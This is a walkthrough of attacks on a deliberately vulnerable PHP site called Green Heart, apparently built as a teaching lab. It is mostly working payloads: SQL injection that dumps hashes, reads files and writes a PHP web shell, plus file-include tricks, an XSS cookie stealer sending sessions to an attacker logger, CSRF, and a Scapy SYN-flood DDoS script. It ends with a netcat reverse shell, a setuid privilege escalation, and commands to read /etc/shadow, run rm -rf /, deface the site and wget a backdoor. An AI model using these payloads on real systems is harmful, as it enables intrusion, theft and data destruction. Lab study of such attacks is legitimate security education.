Green Heart walk-through

Table of Contents
1.1 Green Heart flaws.....................................................................3
1.1.1 Overview...........................................................................3
1.1.2 SQL Injection....................................................................3
1.1.2.1 Login.........................................................................3
1.1.2.2 Detail.........................................................................4
1.1.2.2.1 Dumping database.............................................4
1.1.2.2.2 Reading files......................................................6
1.1.2.2.3 Writing files.......................................................7
1.1.2.2.3.1 Dumping database.....................................7
1.1.2.2.3.2 PHP Shell...................................................8
1.1.2.2.3.3 Shell script.................................................8
1.1.3 File Include.......................................................................9
1.1.3.1 RFI..........................................................................10
1.1.3.2 LFI...........................................................................10
1.1.4 File upload......................................................................10
1.1.4.1 No check..................................................................10
1.1.4.2 Images only.............................................................11
1.1.5 Guessing URLs...............................................................11
1.1.5.1 Brute-force..............................................................12
1.1.5.2 Sniffing traffic.........................................................12
1.1.5.3 Use another vulnerability........................................13
1.1.6 Count Statistics Abuse....................................................14
1.1.7 Password recovery vulnerability.....................................15
1.1.8 Cross-Site Scripting (XSS).............................................17
1.1.9 Cross-Site Request Forgery (CSRF )..............................18
1.1.10 Ping Pong attack...........................................................18
1.1.10.1 The CHARGEN service........................................18
1.1.10.2 Installation.............................................................19
1.1.10.3 Configuration........................................................19
1.1.10.4 Test........................................................................19
1.1.10.5 Performing the attack............................................19
1.1.11 Denial-of-Service..........................................................20
1.1.11.1 DoS Simulation.....................................................21
1.2 Penetrating a system...............................................................22
1.2.1 Reconnaissance...............................................................22
1.2.1.1 Service discovery....................................................22
1.2.1.2 Looking for vulnerabilities......................................22
1.2.2 Penetrating......................................................................23

1.1 Green Heart flaws

The example website I made is called Green Heart, which can be guessed looking at its
logo. It was designed to be a photo sharing website, a bit like deviantART.com, but in a
very insecure way. This section enumerates the different flaws that have been left open.

1.1.1 Overview
What the maker of Green Heart did wrong is that he did not verify the input of the user
before manipulating it in the script. The advise is generally the following:
Never trust user input !
Meaning that you should always sanitize every form values and URL parameters, but
more generally, every data that the user can submit to the website. If this is done, you
can consider that your website is relatively secure.

1.1.2 SQL Injection

A website is vulnerable to SQL Injection if it uses user input to dynamically build SQL
statements without validation. In Green Heart, almost every page using SQL queries is
vulnerable.

1.1.2.1 Login
In the login form, we are able to bypass the password check and login as any user. If we
submit the value below as the nickname, then we log in without any problem.
' or 1=1 #

This command will log you as the first user in the database, usually the administrator. In
order to understand that value, you have to have a deep understanding of how the web
application is built. Usually, the values of a login form will be used to build a SQL
query. If the answer to the query has one or more result, then the user exists and
submitted the correct password. This last value is transformed using a hash function so
we cannot use it for SQL Injection.

Once we are administrator, we can access the admin panel and delete users from the
database.

1.1.2.2 Detail
The detail page allows us to view the details of a photo, given its ID number. This is the
typical page where the script fetches data from the database and displays it. If we try to
modify the ID to something like that.
0 or 1=1#

Then, we get the first image in the database. This is because the WHERE statement in
the SQL query first checks for a ID equal to 0, which is always wrong for any row, then
evaluate the second condition which is always true. Thus, the entire table matches the
request but only the first result is printed. To display the values we want, we have to
follow a specific process.
First, we have to find out the number of columns returned in the SQL query. To do that,
we use the values below and repeat until we get no error, which will mean that we have
found the right number of columns.
index.php?page=detail&id=-1
index.php?page=detail&id=-1
index.php?page=detail&id=-1
...
index.php?page=detail&id=-1
10, 11, 12, 13, 14, 15, 16,

union select 1#
union select 1, 2#
union select 1, 2, 3#
union select 1, 2, 3, 4, 5, 6, 7, 8, 9,
17, 18, 19#

When we reach 19 columns, we don't get errors any more, and we can see that some of
the numbers are displayed in the web page instead of the photo details.
From this moment, we are able to execute MySQL commands. We will use the third
column because it is displayed to us, but we could have used one of the displayed
numbers (11, 6, 7, 9, etc).

1.1.2.2.1 Dumping database

The first use of this flaw would be to show the administrator password hash.

index.php?page=detail&id=-1 union select 1, 2, password, 4, 5, 6, 7,

8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19 from users#

Note that we have to guess the name of the column password and the table users. These
are the most generic names.

Now that we have the administrator hash, we can look up on Google for reverse md5
tool. We will discover that this particular hash is the output of the md5 function with
admin as input1. We can login as the admin user now.

1.1.2.2.2 Reading files

We can read files using the load_file() command from MySQL.
index.php?page=detail&id=-1 union select 1, 2,
load_file('/etc/passwd'), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
16, 17, 18, 19#

We can read the content of the file /etc/passwd. More generally, we are able to read any
file that has read permission using this URL.

1 http://md5.gromweb.com/query/21232f297a57a5a743894a0e4a801fc3

More interesting files to read content of would certainly be configuration files and also
PHP files. Indeed, viewing the source code of the PHP files would reveal the
architecture of the website, and ultimately its configuration file containing the login and
the password to the database.

1.1.2.2.3 Writing files

Using the command syntax INTO OUTFILE 'myFile' can write the result of a query in a
file.
1.1.2.2.3.1 Dumping database

We can dump the table with the following command.

index.php?page=detail&id=0 or 1=1 into outfile '/tmp/dump.txt'#

Then we can read the file.

index.php?page=detail&id=-1 union select 1, 2,
load_file('/tmp/dump.txt'), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
16, 17, 18, 19#

The data has a lot of redundancy, this is because it is the result of the SQL join of 2
tables. If you wanted the users tables only, you could enter this URL.

index.php?page=detail&id=-1 union select 1, 2, password, 4, 5, 6, 7,

8, 9, 10, id, 12, 13, 14, 15, 16, 17, 18, 19 from users into outfile
'/tmp/dump.txt'#

Here we have guessed the field names, but if you cannot guess the field names, then you
can still use the star (*), but you have to lower the number of the other columns to
match to correct number.
index.php?page=detail&id=-1 union select *, 11, 12, 13, 14, 15, 16,
17, 18, 19 from users into outfile '/tmp/dump.txt'#

Then reading the file will give you the content of the users table.
index.php?page=detail&id=-1 union select 1, 2,
load_file('/tmp/dump.txt'), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
16, 17, 18, 19#

Note that the INTO OUTFILE statement cannot override a file that already exists, so
you have to create a new file each time.
1.1.2.2.3.2 PHP Shell

The following URL writes a PHP shell into /tmp/cmd.php. It could be used in the future
using a File Include vulnerability for example.
index.php?page=detail&id=-1 union select '<?php
passthru($_GET[\'c\']);?>', 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13,
14, 15, 16, 17, 18, 19 into outfile
'/var/www/greenheart/photos/cmd.php'#

The best case for an attacker would be a writeable directory that can be access through
the URL. Unfortunately here, there is no writeable directory for the user mysql.
1.1.2.2.3.3 Shell script

We can also write a script, but we have to redefine the escape character because we do
not want the Shell to block on a syntax error which would result in a failure of
executing the script. For example, we want to write the following dummy script.
#!/bin/sh
echo "I am evil"
#

The last line is intended to comment the rest of the SQL fields. The URL
index.php?page=detail&id=-1 union select "%23!/bin/sh %0Aecho \"I am
evil\" %0A%23",2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 into
outfile '/tmp/script.sh' fields escaped by '' #

Once we access the page, errors are displayed but the script was created. The next step
is to get it executed using another vulnerability.

1.1.3 File Include

One of the first things that appear when we first browse Green Heart is that each page
name is given as parameter to index.php.
index.php?page=anything

If we try to include anything else than an existing page, we get an error saying that the
file does not exist. In that particular case, we face a File Include vulnerability.
Two types of this flaw exist: Local File Include (LFI) and Remote File Include (RFI). In
Green Heart, the vulnerable code is the one below.
$page = (!empty($_GET['page'])) ? $_GET['page'] : 'home';
include $page.'.php';

The script first checks if the page parameter is empty: if yes, $page is the home page,
else, it is the page parameter. The script then includes the page plus the .php
extension. In that case, if we try to include any file, it will automatically append .php.
To bypass it, all we have to do is to add a NULL byte (%00) at the end of the page
parameter. This trick the server into believing that it marks the end of the string. The
resulted string for the include function would then forget everything behind it, and the
PHP extension.

1.1.3.1 RFI
First, we can test for RFI supplying a URL. If we can see that the content of that URL
has been retrieved and is printed inside the webpage, then RFI does work, and thus
there is no need to check for LFI since we can execute PHP on the server. To do that, all
we have to do is supply a URL to index.php that contains PHP code. Accessing this
URL has to show PHP code instead of interpreting it.
index.php?page=http://attack.in/script.txt%00

Note the trailing NULL byte.

1.1.3.2 LFI
If the server does not allow remote file for inclusion, then we have to test for LFI. If we
get an error when trying to include anything else than the standard pages, then LFI is
working. We can include sensitive files like /etc/passwd.
index.php?page=/etc/passwd%00

1.1.4 File upload

There are several levels of security for file upload forms. When adding this feature to a
website, some security measures have to be taken otherwise it's a breach.

1.1.4.1 No check
The worst vulnerability is when there is no restrictions on the uploaded file. In Green
Heart, file upload is intended to upload images to share with others, but in fact we are
able to upload any file. So we can include a PHP script that could be used to execute
commands on the server. Such scripts exist and one of the most known is called
c99shell2.

From the moment the shell in running executed on the server, we can do almost
anything, except running commands that require root privileges. We could easily view
the source code of the configuration file config.inc.php and retrieve the password to the
database.

1.1.4.2 Images only

Let's say that the administrator of Green Heart fixes the file upload flaw and make it
possible to upload images only. We can still hide some PHP code inside an image, in a
comment header for example. That way, the file would not be executed on the server but
we get it executed using the file include flaw. PHP would interprets the file, find binary
information and also the PHP code inside the blocks <?php and ?>.
More information about why upload forms are a major threat can be found on the
internet3.

2 http://c99shell.tk
3 http://www.acunetix.com/websitesecurity/upload-forms-threat.htm

1.1.5 Guessing URLs

Applications are often designed with common names in scripts names and paths. For
example, we can assume that there is an administration interface for managing the
content of Green Heart. If we try to access the URL /greenheart/admin, then we face
an HTTP Basic Authentication with the message Admin Access. This protection is
either configured in the website configuration file or in an htaccess file. This last file is
a special configuration file that, when uploaded on the server, can modify the default
configuration of apache.
In our case, it is likely that the administrator protected the admin directory with an
htaccess file. There are several possibilities to gain access to this URL.

1.1.5.1 Brute-force
The nave method to pass through this authentication would be to brute force it,
meaning to test for every couple of name/password. Any brute-force script will takes up
to years, and on top of that, will flood the error log of Apache with errors, and
consequently raise suspicion of the administrator. This method is definitely to avoid.

1.1.5.2 Sniffing traffic

Sniff the HTTP traffic of the real administrator: This is very unlikely that you'll ever be
able to sniff the traffic of the users of a specific website, moreover the administrator.
But this is doable if you are connected to an insecure Wifi network.
Let's say that you are connected to an insecure Wifi network, and that the administrator
is also using it. Then, you can launch a packet sniffer tool like Wireshark and watch for
an interesting packets. The filter http.authbasic makes Wireshark drop every packet
that doesn't contain the authorization header.

What we can see in the picture is that the Authorization header contains a string which
is actually the resulting Base644 encoded string of the concatenation of the user and the
password. Wireshark is kind enough to decode automatically these values.

1.1.5.3 Use another vulnerability

As Green Heart is really bad coded, we can use another vulnerability present in the
website to read the content of the admin directory.
The file upload allows us to execute a PHP script that can list the content of the
directory and then look into each file for precious information.
The file include or SQL injection can both read files on the server including those in the
directory. But conversely to the PHP script, we can't know the names of the files
because we're not able to read a directory. So, we have to find another way.
If you remember correctly, this protection is configured in an htaccess file, which is
located in the admin directory and named .htaccess. Thus, knowing this name, we
can read this file.
AuthName "Admin Access"
AuthType Basic
AuthUserFile /var/www/greenheart/admin/.htpasswd
Require valid-user

This is the basic configuration of the Basic Authentication. What is important to us is

the location of the htpasswd file. This file is responsible for holding the credentials of
any allowed user.
Including the file .htpasswd will reveal the content below.
4 http://en.wikipedia.org/wiki/Base64

admin:yTXZuoINwJG32

From what we can see, only the user admin is allowed, and his password has been
encrypted. Judging by the length of the hash, the crypt function has been used 5.
Learning how crypt works shows6 that the first two characters are the salt that is used by
the function to crypt the password. In our case, the salt is yT and the hash has been
generated using the following command.
perl -e 'print crypt("UNKOWN_PASSWORD","yT"),"\n"'

Now that we are able to understand how this hash has been generated, we have to crack
this hash. We can start using different methods. The first is using the brute-force to test
every password from the shortest to the longest. The second method would be to use a
dictionary to test for the common passwords (admin, password, qwerty, etc). This would
quickly result in a success since the password here is admin, but it may not work if
the password was not in the dictionary of the attacker.

1.1.6 Count Statistics Abuse

The website shows several details concerning the images, one of them is the number of
views. If you click on any image to view its details, then you'll be able to see the count
statistics, as shown below.

If you refresh the page by pressing F5, you'll see the number of seen raise by one. This
is because the statistics are coded in a bad way. Hence, a malicious user could easily
increase the number of views on his own images so that they appear on the homepage.
This can be done easily using a script which calls the page rapidly.
#!/bin/bash
if [ "$#" != "2" ]; then
echo "Usage: get-url-loop.sh <url> <count>"
exit 1
fi
url=$1
count=$2
for i in `seq $count` ; do
curl $url >/dev/null 2>&1
echo -n .
done
echo

5 http://httpd.apache.org/docs/2.2/misc/password_encryptions.html
6 http://osix.net/modules/article/?id=571

> sh get-url-loop.sh http://192.168.56.101/greenheart/index.php?

page=detail\&id=5 100

By executing the following command, we raise by 100 the number of views of the
image whose ID is 10. Note that the & has to be escaped by a \ not to be interpreted
by the shell but by the script.

1.1.7 Password recovery vulnerability

The password recovery feature of a website may be different from one to another. First,
it checks if the supplied email exists in the database, then:

Email the original password to the user if it is stored somewhere (encrypted or

not)
Generate a new password and notice the user via email
Send a temporary link to the user to change his password.

Except the first method, there is no way to recover the original password of the user
because it has been hashed (md5, SHA-1, etc). In Green Heart, a user can reset his
password using the reset password form7. There is a flaw because the script does not
verify the formatting of the email. Thus, we can submit the following value as email.
"' or email='admin@greenheart' #'" <www-data@localhost>

This value has to pass the SQL query and select the right row corresponding to the
admin user, then it has to pass the email syntax too. The part between quotation marks is
the name of a user and we can put a lot of special characters in it. A local email address
was chosen because the firewall would have blocked any other one.

7 If it were fully working, this functionality could easily be a source of abuse by resetting every
password of every user. Exploiting this flaw is not our goal here, which is to demonstrate how to
redirect emails to get control of an account.

As a result of the submission of this value, the new password of the user admin will be
sent to the email we gave: www-data@localhost. This email will be added into the file
/var/mail/www-data on the server. We can read the content of it by using another flaw
like File Include or SQL Injection.

We now know the newly generated admin password.

Note: There is a variant of this vulnerability called Header Injection, which consists in
adding a new line character and a Blind Carbon Copy header (Bcc:) so that the email
containing the recovery process is also sent to the attacker.

1.1.8 Cross-Site Scripting (XSS)

There is an XSS8 vulnerability when a user can inject client-side script into web pages
that are displayed to other users.
When a user registers on Green Heart, he can update the fields displayed on his profile.
If we try to update a field with a value containing HTML elements, then the HTML is
displayed, meaning that the special characters were not translated into HTML entities9.
Consequently, we can update update the About me field and include a script. This
particular field does not have a low limit of characters thus allowing us to write a longer
script. But each new line is translated into a <BR> element, which can break our
script. So the script has to be on a single line.
<script>var r=new XMLHttpRequest(); r.open("get",
"http://192.168.56.101/greenheart/attacker/sniff.php?"
+document.cookie); r.send(null);</script>

This small script uses AJAX to send a request to a remote server with the cookies of the
user. The attacker remote page simply logs every data that is supplied in the URL.
Below is what it looks like.
<?php
file_put_contents("data.log", date("r")." - ".serialize($_GET)."\n",
FILE_APPEND);
?>

The attacker has to wait for any user to visit his profile. Watching the file will tell him
that someone is consulting his profile and that this user may be logged.
> tail -f data.log
Wed, 13 Jul 2011 16:49:42 +0100 - a:1:
{s:9:"PHPSESSID";s:32:"796709f69b2d3b075fb63a20e44ac1d7";}

The attacker can then hijack his session using the PHPSESSID. This can be done by
installing specific add-ons to your browser and then by changing the PHPSESSID
cookie.

1.1.9 Cross-Site Request Forgery (CSRF )

This kind of vulnerability10 intends to have the user do unsolicited actions on a
particular website. It is possible when a website defines actions by using a GET request
instead of a POST request. In Green Heart, people are able to donate to the users they
like. If we try to donate 1 to the admin user, then we are redirected to the following
URL.
bank.php?id=1&amount=1

This URL is self-explanatory, the specified amount is given to the target user (id). This
8 http://en.wikipedia.org/wiki/Cross-site_scripting
9 http://php.net/manual/en/function.htmlentities.php
10 http://en.wikipedia.org/wiki/Cross-site_request_forgery

is possible only when we are logged in.

Imagine now that the user max (id=3), wants to gain money in an easy way. All he has
to do is to send the link below to the other users of Green Heart.
bank.php?id=3&amount=100

Each time a user accesses this URL, it transfers 100 to max. Phishing attacks
sometimes use this technique.
Here, we don't want to let the user know that we have stolen his money. We can update
our profile and set the following content to one field.
<img src="bank.php?id=3&amount=100" alt="" />

Then we have to wait, just like for XSS. Whenever a logged user will visit this page, his
browser will want to fetch the image, and will trigger the bank transfer. You can view
the balance of your account on this page.
index.php?page=donate

1.1.10 Ping Pong attack

1.1.10.1 The CHARGEN service
CHARGEN stands for CHARacter GENerator protocol. It was created in 1983 for
testing and debugging purposes. Both TCP and UDP modes work, but in a different
way. Once the connection is established in TCP, the server will send ASCII characters to
the connecting host until the host closes the connection, while in UDP, it will only send
one packet to the connecting host. In both cases, the server does not check the incoming
packet.

1.1.10.2 Installation
As the CHARGEN service is not installed by default, we need to install it. First, we
have to install the inetd service, which will be responsible for listening for incoming
connections and redirecting them to the CHARGEN service.
# apt-get install inetutils-inetd

1.1.10.3 Configuration
# vim /etc/inetd.conf
chargen
stream tcp
chargen
dgram
udp

nowait
wait

root
root

# /etc/init.d/inetutils-inetd start

internal
internal

1.1.10.4 Test
telnet 192.156.56.101 19 | head

or
telnet 192.168.56.101 19

then ^] quit

1.1.10.5 Performing the attack

Using Scapy for its convenient ease of use, but this time the interactive mode is
sufficient as we only need to send one packet. This can be done with the following
command.
send( IP(src="192.168.56.102",dst="192.168.56.101")/UDP(sport=19,dport=19) )

We prefer UDP over TCP because it does not require us to send the SYN/ACK

messages.
As what can be seen in Wireshark, the Ping Pong attack did work at an average rate of
5000 packets per seconds. Of course, this number greatly depends on the infrastructure
between the two machines. One way to stop this everlasting ping pong game is to shut
down the inet service.
# /etc/init.d/inetutils-inetd stop

We can also drop any packet that comes from the CHARGEN port using the built-in
linux firewall iptables.
# iptables -I INPUT -p udp --sport 19 -j DROP

1.1.11 Denial-of-Service
A Denial-of-Service11 (DoS) is an attack that aims to make a computer resource
unavailable to its indented users. This is done by overwhelming the server(s) with a
huge number of requests. These are small examples of DOS attacks:
Ping flood: consists in sending PING message (ICMP) uninterruptedly to the server.
SYN flood: consists in sending the first packet (SYN) only of the TCP three-way
handshake for new connections. Each half-open connection consumes a little resources
of the server, which can eventually drop all incoming connections12.
A Distributed Denial-of-service (DDoS) is like a DoS except that the attack comes from
multiple sources. It is often a large-scale attack and it is very hard for website
administrators to mitigate because the source IPs may not be the same over the requests.

1.1.11.1 DoS Simulation

For our example. We want to simulate a DDoS attack on the server hosting Green Heart.
To do this, we will be using Python and a packet manipulation library called Scapy.
Instructions related to the installation of Scapy can be found at this address:
http://www.secdev.org/projects/scapy/doc/installation.html#windows
We have two constraints for our DDoS attack:

Random generated source IP and source ports

Random fields in the TCP layer (mainly to pass any protection there server has)

Given those constraints, the script can be the one below.

#!/usr/bin/python
import sys
print """============================
====== DDOS Syn Flood ======
============================
Author: max.dreau@gmail.com
"""
if len(sys.argv) != 3:
print "Usage: ddos.py <ip> <nb of packets>"
sys.exit(1)
from random import randint
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import IP, TCP, fuzz, send
ipdst = sys.argv[1]
11 http://en.wikipedia.org/wiki/Denial-of-service_attack
12 http://en.wikipedia.org/wiki/SYN_flood

print "Dest IP:", ipdst

packets = int(sys.argv[2])
print "Packets:", packets
print "Press [Enter] to start the process"
raw_input()
print "Generating IPs"
iplist = []
for i in xrange(packets): # 100,000 should be enough, generated in
1.5s
iplist.append( "%i.%i.%i.%i" %
(randint(1,254),randint(1,254),randint(1,254),randint(1,254)) )
print "Generating packets"
p = IP(src=iplist,dst=ipdst)/fuzz(TCP(dport=81,flags="S")) # SYN flag
on open port 80 to keep connection alive
print "Sending packets (~140packets/s)"
send(p)

Testing with the virtual machine gave a maximum of 769 half-open connections.

1.2 Penetrating a system

1.2.1 Reconnaissance
1.2.1.1 Service discovery
Penetrating a system always begin with a reconnaissance phase. The attacker must
know exactly what's running on the target system. To find the services that are running,
the attacker may do a port scan, which will tell him which ports are open, and which
ones are closed. These ports provide a precious information as each port is linked to a
service. Nmap is an open source tool for network exploration and security auditing. That
means that Nmap is able to do port scanning. The following command will do a TCP
SYN scan, which will reveal all opened ports on the remote machine.
# nmap -sS 192.168.56.101
Starting Nmap 5.21 ( http://nmap.org ) at 2011-07-11 13:19 BST
Nmap scan report for 192.168.56.101
Host is up (0.0020s latency).
Not shown: 996 closed ports
PORT
STATE SERVICE
19/tcp open chargen
21/tcp open ftp
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:DD:79:AD (Cadmus Computer Systems)
Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds

The next step is to get the services associated to these ports. Although we could have
done that using the -sV parameter, telnet will do. Connecting to a port and sending any
message will usually print the server banner.
max@ubuntu:~$ telnet 192.168.56.101 22
Trying 192.168.56.101...
Connected to 192.168.56.101.
Escape character is '^]'.
SSH-2.0-OpenSSH_4.2p1 Debian-7ubuntu3.5

Here, OpenSSH 4.2 is running on port 22. The same can be done with the other ports.

1.2.1.2 Looking for vulnerabilities

When the precedent step is done, we can begin searching for vulnerabilities. If we've
got the version of a service, then we have to find a known vulnerability for that
particular version. If the target system is running a web server with dynamic content, we
can also browse the website in hopes to find one or more vulnerabilities. Looking at the
URL will give lots of information to the attacker about the internal structure of the
website.

1.2.2 Penetrating
Below is an intrusion scenario using several vulnerabilities of the remote machine. It
ends up opening a shell under root privileges.
Find a page with a dynamic URL
index.php?page=detail&id=5

Test for SQL injection

index.php?page=detail&id=0 or 1=1#

Find out the number of columns

Repeat until we get no error, which means that we have the right number of columns.
index.php?page=detail&id=-1
index.php?page=detail&id=-1
index.php?page=detail&id=-1
...
index.php?page=detail&id=-1
10, 11, 12, 13, 14, 15, 16,

union select 1#
union select 1, 2#
union select 1, 2, 3#
union select 1, 2, 3, 4, 5, 6, 7, 8, 9,
17, 18, 19#

When we reach 19 columns, we don't get errors anymore.

Write the php code into /tmp
index.php?page=detail&id=-1 union select '<?php
passthru($_GET[\'c\']);?>', 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13,
14, 15, 16, 17, 18, 19 into outfile '/tmp/cmd.php'#

Make PHP interpret the file and execute the id command

index.php?page=/tmp/cmd&c=id

Prepare your machine for a shell

> nc -ld 2223 &
> nc -l 2222

-l : listen for incoming connections.

-d : do not read from stdin.

Start a remote shell with Netcat

index.php?page=/tmp/cmd&c=nc 192.168.56.102 2222 | /bin/sh | nc

192.168.56.102 2223

Once the page has been executed, the shell is opened.

Find a program with setuid flag
> find / -perm +4000

If you take a look at the results, a program called backup is in /usr/local/bin. What can
be found in /usr/local is usually the manual installation of software by the local
administrator.
Get more details about the program
> strings /usr/local/bin/backup

We see that the program seems to execute the script named backup.sh which is in the
same directory. Executing a script using the relative path is not secure at all as the PATH
variable can be overridden easily.
Create a shell-script in /tmp
> cd /tmp
> cat << DONE > backup.sh
#!/bin/sh
/bin/sh -p
DONE
> chmod +x backup.sh

Change the PATH and execute the setuid program

> PATH=.:$PATH /usr/local/bin/backup

Penetration successful
Now that we are root we have a total control of the machine. An attacker would
probably install a backdoor, steal every confidential data, or simply erase the entire
content on the harddrive.
#
#
#
#

cat /etc/shadow
rm -rf /
echo "DEFACED" > /var/www/greenheart/index.php
wget http://attacker.net/backdoor